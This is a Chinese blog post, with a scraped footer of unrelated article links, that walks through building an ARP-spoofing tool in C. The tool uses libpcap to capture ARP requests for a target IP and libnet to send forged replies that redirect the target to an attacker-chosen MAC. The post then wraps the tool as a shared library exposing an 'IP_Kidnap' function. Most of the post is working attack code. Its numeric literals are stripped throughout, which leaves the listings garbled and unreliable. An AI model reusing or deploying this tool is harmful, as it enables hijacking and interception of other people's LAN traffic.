我站在 烈烈风中

  恨不能 荡尽绵绵心痛

  望苍天 四方云动

  剑在手

  问天下谁是英雄

——《霸王别姬》

阅读这篇文章之前,请确认已经熟悉ARP报文伪造的方法,可参考《ARP数据包伪造》。

请看下图,这是全篇文章的鸟瞰:

  要想实现上图的工作流程,必须实现两个模块:

•自由的伪造ARP报文

•抓取并分析所有流经网卡的数据包

从上图中可以看出,我们可以通过BPF或者DLPI层实现数据包的抓取分析,而tcpdump的根基——libpcap库,正是对BPF层的二次封装实现的C库,我们将通过它来实现数据包的抓取分析。

关于libpcap的基础使用,请参考这篇文章《libpcap使用》。

下面给出一个简单的libpcap过滤抓包的程序:

  1. #include <pcap.h>
  2. #include <time.h>
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5.  
  6. unsigned char glTargetIP[]={,,,};
  7. char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
  8. unsigned char glRetargetMac[]={ 0x00,0x11,0x11,0x22,0x22,0xff };
  9. char * glNICStr="eth2";
  10.  
  11. void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
  12. {
  13. int * id = (int *)arg;
  14. unsigned char * src_ip =glTargetIP;
  15. unsigned char * src_mac=glRetargetMac;
  16. unsigned char * dst_ip =packet+;
  17. unsigned char * dst_mac=packet+;
  18.  
  19. printf("id: %d\n", ++(*id));
  20. printf("Packet length: %d\n", pkthdr->len);
  21. printf("Number of bytes: %d\n", pkthdr->caplen);
  22. printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));
  23.  
  24. int i;
  25. for(i=; i<pkthdr->len; ++i)
  26. {
  27. printf(" %02x", packet[i]);
  28. if( (i + ) % == )
  29. {
  30. printf("\n");
  31. }
  32. }
  33.  
  34. printf("\n\n");
  35. }
  36.  
  37. int main ()
  38. {
  39. char errBuf[PCAP_ERRBUF_SIZE], * devStr;
  40. struct bpf_program filter;
  41.  
  42. /* get a device */
  43. devStr = pcap_lookupdev(errBuf);
  44.  
  45. if(devStr)
  46. {
  47. printf("success: device: %s\n", devStr);
  48. }
  49. else
  50. {
  51. printf("error: %s\n", errBuf);
  52. exit();
  53. }
  54.  
  55. /* open a device, wait until a packet arrives */
  56. pcap_t * device = pcap_open_live(glNICStr, , , , errBuf);
  57.  
  58. if(!device)
  59. {
  60. printf("error: pcap_open_live(): %s\n", errBuf);
  61. exit();
  62. }
  63. /* set filter */
  64. pcap_compile( device,&filter,glBpfCmd,, );
  65. pcap_setfilter(device ,&filter );
  66. /* wait loop forever */
  67. int id = ;
  68. pcap_loop(device, -, getPacket, (u_char*)&id);
  69.  
  70. pcap_close(device);
  71.  
  72. return ;
  73. }
  1. gcc name.c -lpcap -o name

结合ARP报文伪造模块,下面给出完整实现代码:

  1. #include <pcap.h>
  2. #include <time.h>
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5.  
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <string.h>
  9. #include <unistd.h>
  10. #include <libnet.h>
  11.  
  12. #define MAC_ADDR_LEN 6
  13. #define IP_ADDR_LEN 4
  14.  
  15. unsigned char glTargetIP[]={,,,};
  16. char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
  17. unsigned char glRetargetMac[]={ 0x00,0x11,0x11,0x22,0x22,0xff };
  18. char * glNICStr="eth2";
  19.  
  20. int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
  21. unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
  22. {
  23. static char padPtr[];
  24. libnet_t *net_t = NULL;
  25. char err_buf[LIBNET_ERRBUF_SIZE];
  26. libnet_ptag_t p_tag;
  27. unsigned int i=;
  28.  
  29. printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
  30. printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
  31.  
  32. net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
  33. if(net_t == NULL)
  34. {
  35. printf("libnet_init error\n");
  36. return ;
  37. }
  38.  
  39. p_tag = libnet_build_arp(
  40. ARPHRD_ETHER,//hardware type ethernet
  41. ETHERTYPE_IP,//protocol type
  42. MAC_ADDR_LEN,//mac length
  43. IP_ADDR_LEN,//protocol length
  44. arpOp,//op type
  45. (u_int8_t *)src_mac,//source mac addr
  46. (u_int8_t *)src_ip,//source ip addr
  47. (u_int8_t *)dst_mac,//dest mac addr
  48. (u_int8_t *)dst_ip,//dest ip addr
  49. padPtr,//payload
  50. ,//payload length
  51. net_t,//libnet context
  52. //0 stands to build a new one
  53. );
  54.  
  55. if(- == p_tag)
  56. {
  57. printf("libnet_build_arp error\n");
  58. libnet_destroy(net_t);
  59. return ;
  60. }
  61.  
  62. p_tag = libnet_build_ethernet(//create ethernet header
  63. (u_int8_t *)dst_mac,//dest mac addr
  64. (u_int8_t *)src_mac,//source mac addr
  65. ETHERTYPE_ARP,//protocol type
  66. padPtr,//payload
  67. ,//payload length
  68. net_t,//libnet context
  69. //0 to build a new one
  70. );
  71.  
  72. if(- == p_tag)
  73. {
  74. printf("libnet_build_ethernet error!\n");
  75. libnet_destroy(net_t);
  76. return ;
  77. }
  78.  
  79. int res;
  80. i=;
  81. for(;i<sendTimes;i++)
  82. if(- == (res = libnet_write(net_t)))
  83. {
  84. printf("libnet_write error!\n");
  85. libnet_destroy(net_t);
  86. return ;
  87. }
  88.  
  89. libnet_destroy(net_t);
  90. return ;
  91. FAIL:
  92. libnet_destroy(net_t);
  93. return ;
  94. }
  95. void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
  96. {
  97. int * id = (int *)arg;
  98. unsigned char * src_ip =glTargetIP;
  99. unsigned char * src_mac=glRetargetMac;
  100. unsigned char * dst_ip =packet+;
  101. unsigned char * dst_mac=packet+;
  102.  
  103. ForgeAndSendArp(glNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,);
  104.  
  105. printf("id: %d\n", ++(*id));
  106. printf("Packet length: %d\n", pkthdr->len);
  107. printf("Number of bytes: %d\n", pkthdr->caplen);
  108. printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));
  109.  
  110. int i;
  111. for(i=; i<pkthdr->len; ++i)
  112. {
  113. printf(" %02x", packet[i]);
  114. if( (i + ) % == )
  115. {
  116. printf("\n");
  117. }
  118. }
  119.  
  120. printf("\n\n");
  121. }
  122.  
  123. int main ()
  124. {
  125. char errBuf[PCAP_ERRBUF_SIZE], * devStr;
  126. struct bpf_program filter;
  127.  
  128. /* get a device */
  129. devStr = pcap_lookupdev(errBuf);
  130.  
  131. if(devStr)
  132. {
  133. printf("success: device: %s\n", devStr);
  134. }
  135. else
  136. {
  137. printf("error: %s\n", errBuf);
  138. exit();
  139. }
  140.  
  141. /* open a device, wait until a packet arrives */
  142. pcap_t * device = pcap_open_live(glNICStr, , , , errBuf);
  143.  
  144. if(!device)
  145. {
  146. printf("error: pcap_open_live(): %s\n", errBuf);
  147. exit();
  148. }
  149. /* set filter */
  150. pcap_compile( device,&filter,glBpfCmd,, );
  151. pcap_setfilter(device ,&filter );
  152. /* wait loop forever */
  153. int id = ;
  154. pcap_loop(device, -, getPacket, (u_char*)&id);
  155.  
  156. pcap_close(device);
  157.  
  158. return ;
  159. }

这个工具的验证结果已经在文章鸟瞰图中给出。

下面,我们将这段代码封装成为一个共享库,以供其他程序调用。

  1. // # gcc name.c -lnet -lpcap -shared -fPIC -o name.so
  2. #include <pcap.h>
  3. #include <time.h>
  4. #include <stdlib.h>
  5. #include <stdio.h>
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <unistd.h>
  11. #include <libnet.h>
  12.  
  13. #define MAC_ADDR_LEN 6
  14. #define IP_ADDR_LEN 4
  15.  
  16. static unsigned char * glTargetIP;
  17. static char * glBpfCmd;
  18. static unsigned char * glRetargetMac;
  19. static char * glListenNICStr;
  20. static char * glSendNICStr;
  21.  
  22. int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
  23. unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
  24. {
  25. static char padPtr[];
  26. libnet_t *net_t = NULL;
  27. char err_buf[LIBNET_ERRBUF_SIZE];
  28. libnet_ptag_t p_tag;
  29. unsigned int i=;
  30.  
  31. printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
  32. printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
  33.  
  34. net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
  35. if(net_t == NULL)
  36. {
  37. printf("libnet_init error\n");
  38. return ;
  39. }
  40.  
  41. p_tag = libnet_build_arp(
  42. ARPHRD_ETHER,//hardware type ethernet
  43. ETHERTYPE_IP,//protocol type
  44. MAC_ADDR_LEN,//mac length
  45. IP_ADDR_LEN,//protocol length
  46. arpOp,//op type
  47. (u_int8_t *)src_mac,//source mac addr
  48. (u_int8_t *)src_ip,//source ip addr
  49. (u_int8_t *)dst_mac,//dest mac addr
  50. (u_int8_t *)dst_ip,//dest ip addr
  51. padPtr,//payload
  52. ,//payload length
  53. net_t,//libnet context
  54. //0 stands to build a new one
  55. );
  56.  
  57. if(- == p_tag)
  58. {
  59. printf("libnet_build_arp error\n");
  60. libnet_destroy(net_t);
  61. return ;
  62. }
  63.  
  64. p_tag = libnet_build_ethernet(//create ethernet header
  65. (u_int8_t *)dst_mac,//dest mac addr
  66. (u_int8_t *)src_mac,//source mac addr
  67. ETHERTYPE_ARP,//protocol type
  68. padPtr,//payload
  69. ,//payload length
  70. net_t,//libnet context
  71. //0 to build a new one
  72. );
  73.  
  74. if(- == p_tag)
  75. {
  76. printf("libnet_build_ethernet error!\n");
  77. libnet_destroy(net_t);
  78. return ;
  79. }
  80.  
  81. int res;
  82. i=;
  83. for(;i<sendTimes;i++)
  84. if(- == (res = libnet_write(net_t)))
  85. {
  86. printf("libnet_write error!\n");
  87. libnet_destroy(net_t);
  88. return ;
  89. }
  90.  
  91. libnet_destroy(net_t);
  92. return ;
  93. FAIL:
  94. libnet_destroy(net_t);
  95. return ;
  96. }
  97. void static getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
  98. {
  99. int * id = (int *)arg;
  100. unsigned char * src_ip =glTargetIP;
  101. unsigned char * src_mac=glRetargetMac;
  102. unsigned char * dst_ip =packet+;
  103. unsigned char * dst_mac=packet+;
  104.  
  105. ForgeAndSendArp(glSendNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,);
  106.  
  107. printf("id: %d\n", ++(*id));
  108. printf("Packet length: %d\n", pkthdr->len);
  109. printf("Number of bytes: %d\n", pkthdr->caplen);
  110. printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));
  111.  
  112. int i;
  113. for(i=; i<pkthdr->len; ++i)
  114. {
  115. printf(" %02x", packet[i]);
  116. if( (i + ) % == )
  117. {
  118. printf("\n");
  119. }
  120. }
  121.  
  122. printf("\n\n");
  123. }
  124.  
  125. /* args example
  126. static unsigned char glTargetIP[4]={192,168,1,99};
  127. static char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
  128. static unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
  129. static char * glListenNICStr="eth2";
  130. static char * glSendNICStr="eth2";
  131. */
  132. int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
  133. unsigned char * RetargetMac,char * sendNICStr ,char * listenNICStr )
  134. {
  135. char errBuf[PCAP_ERRBUF_SIZE], * devStr;
  136. struct bpf_program filter;
  137. glTargetIP=TargetIP;
  138. glBpfCmd=BpfCmd;
  139. glRetargetMac=RetargetMac;
  140. glSendNICStr=sendNICStr;
  141. glListenNICStr=listenNICStr;
  142.  
  143. /* get a device */
  144. devStr = pcap_lookupdev(errBuf);
  145.  
  146. if(devStr)
  147. {
  148. printf("success: device: %s\n", devStr);
  149. }
  150. else
  151. {
  152. printf("error: %s\n", errBuf);
  153. exit();
  154. }
  155.  
  156. /* open a device, wait until a packet arrives */
  157. pcap_t * device = pcap_open_live(glListenNICStr, , , , errBuf);
  158.  
  159. if(!device)
  160. {
  161. printf("error: pcap_open_live(): %s\n", errBuf);
  162. exit();
  163. }
  164. /* set filter */
  165. pcap_compile( device,&filter,glBpfCmd,, );
  166. pcap_setfilter(device ,&filter );
  167. /* wait loop forever */
  168. int id = ;
  169. pcap_loop(device, -, getPacket, (u_char*)&id);
  170.  
  171. pcap_close(device);
  172.  
  173. return ;
  174. }

编译后的结果:

  函数原型:

  1. int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
  2. unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
  3. /*
  4. dev : pointer to nic name, "eth0" for example.
  5. src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
  6. dst_mac : similar as src_mac
  7. src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};'
  8. dst_ip : similar as src_ip
  9. arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e.
  10. sendTimes : how many times this packet you want to send
  11. */
  1. int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
  2. unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr )
  3. /*
  4. TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; '
  5. BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'
  6. RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
  7. ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'
  8. SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'
  9. */

附录:

    参考文章 《libpcap使用》 《ARP数据包伪造

基于ARP的局域网IP劫持——C语言实现的更多相关文章

  1. 使用ARP获取局域网内设备IP和MAC地址

    根据Arp列表数据,查询本地设备在线状态 使用 arp -a 获得所有内网地址,首先看Mod对象 public struct MacIpPair { public string HostName; p ...

  2. Android基于UDP的局域网聊天通信

    代码地址如下:http://www.demodashi.com/demo/12057.html 记得把这几点描述好咯:代码实现过程 + 项目文件结构截图 + 演示效果 1. 开发环境 1.1 开发工具 ...

  3. 中间人攻击-Arp之局域网内DNS欺骗

    基础知识 网关是啥? 网关是工作在OSI七层模型中的传输层或者应用层,用于高层协议的不同网络之间的连接,网关就好比一个房间通向另一个房间的一扇门. ARP协议 假设A(192.168.1.2)与B(1 ...

  4. Linux将公网ip映射到局域网ip

    测试环境如下: monitor: msc1:公网IP:103.6.164.128 eth0 内网IP:192.168.0.57 eth0内网IP:192.168.0.16 eth1 通过访问monit ...

  5. 基于ARP的网络扫描工具netdiscover

    基于ARP的网络扫描工具netdiscover   ARP是将IP地址转化物理地址的网络协议.通过该协议,可以判断某个IP地址是否被使用,从而发现网络中存活的主机.Kali Linux提供的netdi ...

  6. 局域网IP段

    局域网的出现,一方面解决内部安全问题,另一个方面解决ipv4不够用的问题.局域网方便维护和管理,目前局域网Ip地址段为 局域网地址范围分三类: C类:192.168.0.0-192.168.255.2 ...

  7. 基于gSOAP使用头文件的C语言版web service开发过程例子

    基于gSOAP使用头文件的C语言版web service开发过程例子 一服务端 1 打开VS2005,创建一个工程,命名为calcServer. 2 添加一个头文件calc.h,编辑内容如下: 1// ...

  8. 基于Oracle OCI的数据访问C语言接口ORADBI .

    基于Oracle OCI的数据访问C语言接口ORADBI cheungmine@gmail.com Mar. 22, 2008   ORADBI是我在Oracle OCI(Oracle 调用接口)基础 ...

  9. C#获取本机局域网ip和公网ip

    1.获取局域网ip IPAddress ipAddr = Dns.Resolve(Dns.GetHostName()).AddressList[0];//获得当前IP地址 string ip=ipAd ...

随机推荐

  1. confd与etcd的使用

    Add keys This guide assumes you have a working etcd, or consul server up and running and the ability ...

  2. iOS常识名词解释 2016/04/05

    Bundle : http://www.cnblogs.com/BigPolarBear/archive/2012/03/28/2421802.html http://blog.sina.com.cn ...

  3. 【模板】NTT

    NTT模板 #include<bits/stdc++.h> using namespace std; #define LL long long const int MAXL=22; con ...

  4. 【java基础】Java的retry标记的使用

    说明:其实retry就是一个标记,标记程序跳出循环的时候从哪里开始执行,功能类似于goto.retry一般都是跟随者for循环出现,第一个retry的下面一行就是for循环,而且第二个retry的前面 ...

  5. 在Eclipse中导入dtd和xsd文件,使XML自动提示

    DTD 类型约束文件    1. Window->Preferences->XML->XML Catalog->User Specified Entries窗口中,选择Add ...

  6. numpy 排序, 查询功能

    https://docs.scipy.org/doc/numpy/reference/routines.sort.html  

  7. gradle multiproject && docker build

    备注:   环境准备 : docker , gradle(使用wrapper,或者全局安装),测试环境使用mac 1. gradle 安装 brew install gradle   2. docke ...

  8. @RequestParam和@RequestBody的区别-------springMVC

    https://blog.csdn.net/qq_27093465/article/details/50519444 @RequestParam 1,用来处理Content-Type: 为 appli ...

  9. bzoj3258秘密任务

    题目:https://www.lydsy.com/JudgeOnline/problem.php?id=3258 因为只走最短路,所以先正反两遍djkstra,新建边. 这里的边是单向边.所以要用原来 ...

  10. JVM内存管理之杂谈(借此也论一论obj=null)

    作为一个程序猿,修炼的过程就犹如玄幻小说中的主角,不仅需要练习各种武技,内气的修炼的一样重要.虽然武技可以迅速的提升主角的实力,但是在内气太差的情况下,根本发挥不出武技的十之一二. 因此,在介绍过设计 ...